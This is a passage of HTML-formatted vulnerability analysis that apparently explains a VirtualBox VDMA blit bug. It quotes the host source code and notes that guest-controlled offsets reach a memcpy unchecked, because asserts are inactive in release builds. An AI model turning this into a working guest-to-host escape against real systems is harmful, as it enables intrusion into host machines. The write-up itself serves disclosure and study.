class=\"crayon-v\">width<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VERR_INVALID_FUNCTION<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VERR_INVALID_FUNCTION<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-15\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">Assert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">cDstSubRects<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* [[ Note 2 ]] *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-16\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint8_t *<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pvRam<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pVdma<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">pVGAState<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">vram_ptrR3<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBOXVDMA_RECTL <\/span><span class=\"crayon-v\">updateRectl<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-19\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">cDstSubRects<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-22\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* [&#8230;] *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-24\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-25\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-26\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* [[ Note 1 ]] *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-27\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vboxVDMACmdExecBltPerform<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pVdma<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pvRam<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offDst<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pvRam<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">offSrc<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-28\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstDesc<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcDesc<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-29\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-30\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">srcRectl<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-31\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">AssertRC<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-32\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">RT_SUCCESS<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-33\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-34\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-35\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">vboxVDMARectlUnite<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">updateRectl<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pBlt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">dstRectl<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-36\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-37\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e35d888712262-38\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbBlt<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e35d888712262-39\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0041 seconds] -->  <\/p>\n<p>At Note 1, the guest-controlled offsets <code><em>pBlt->offDst<\/em><\/code> and <code><em>pBlt->offSrc<\/em><\/code> I added to the VRAM address, without any verification. Note that the assert at Note 2 is not active in production builds, so we can reach the else-branch.<\/p>\n<p><code><em>vboxVDMACmdExecBltPerform<\/em><\/code> then performs a memcpy between the computed addresses:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e361826341605\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\">     static int vboxVDMACmdExecBltPerform(PVBOXVDMAHOST pVdma, uint8_t *pvDstSurf, const uint8_t *pvSrcSurf,                                          const PVBOXVDMA_SURF_DESC pDstDesc, const PVBOXVDMA_SURF_DESC pSrcDesc,                                          const VBOXVDMA_RECTL * pDstRectl, const VBOXVDMA_RECTL * pSrcRectl)      {          \/* [&#8230;] \/*          if (pDstDesc-&gt;width == pDstRectl-&gt;width                  &amp;&amp; pSrcDesc-&gt;width == pSrcRectl-&gt;width                  &amp;&amp; pSrcDesc-&gt;width == pDstDesc-&gt;width)          {              Assert(!pDstRectl-&gt;left);              Assert(!pSrcRectl-&gt;left);              uint32_t cbOff = pDstDesc-&gt;pitch * pDstRectl-&gt;top;              uint32_t cbSize = pDstDesc-&gt;pitch * pDstRectl-&gt;height;              memcpy(pvDstSurf + cbOff, pvSrcSurf + cbOff, cbSize);          }          else          {              \/* [&#8230;] \/*          }          return VINF_SUCCESS;      }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e361826341605-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e361826341605-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e361826341605-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e361826341605-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e361826341605-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e361826341605-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e361826341605-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e361826341605-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e361826341605-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e361826341605-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e361826341605-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e361826341605-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e361826341605-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e361826341605-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e361826341605-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e361826341605-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e361826341605-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e361826341605-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e361826341605-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e361826341605-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e361826341605-21\">21<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e361826341605-1\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vboxVDMACmdExecBltPerform<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PVBOXVDMAHOST <\/span><span class=\"crayon-v\">pVdma<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">uint8_t *<\/span><span class=\"crayon-v\">pvDstSurf<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">const<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">uint8_t *<\/span><span class=\"crayon-v\">pvSrcSurf<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e361826341605-2\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">const<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PVBOXVDMA_SURF_DESC <\/span><span class=\"crayon-v\">pDstDesc<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">const<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PVBOXVDMA_SURF_DESC <\/span><span class=\"crayon-v\">pSrcDesc<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e361826341605-3\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">const<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBOXVDMA_RECTL *<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pDstRectl<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">const<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBOXVDMA_RECTL *<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pSrcRectl<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e361826341605-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e361826341605-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-o\">*<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e361826341605-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pDstDesc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pDstRectl<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">width<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e361826341605-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pSrcDesc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pSrcRectl<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">width<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e361826341605-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pSrcDesc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pDstDesc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">width<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e361826341605-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e361826341605-10\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">Assert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">pDstRectl<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">left<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e361826341605-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">Assert<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">pSrcRectl<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">left<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e361826341605-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbOff<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pDstDesc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">pitch *<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pDstRectl<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">top<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e361826341605-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbSize<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pDstDesc<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">pitch *<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pDstRectl<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">height<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e361826341605-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">memcpy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pvDstSurf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbOff<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pvSrcSurf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbOff<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbSize<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e361826341605-15\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div 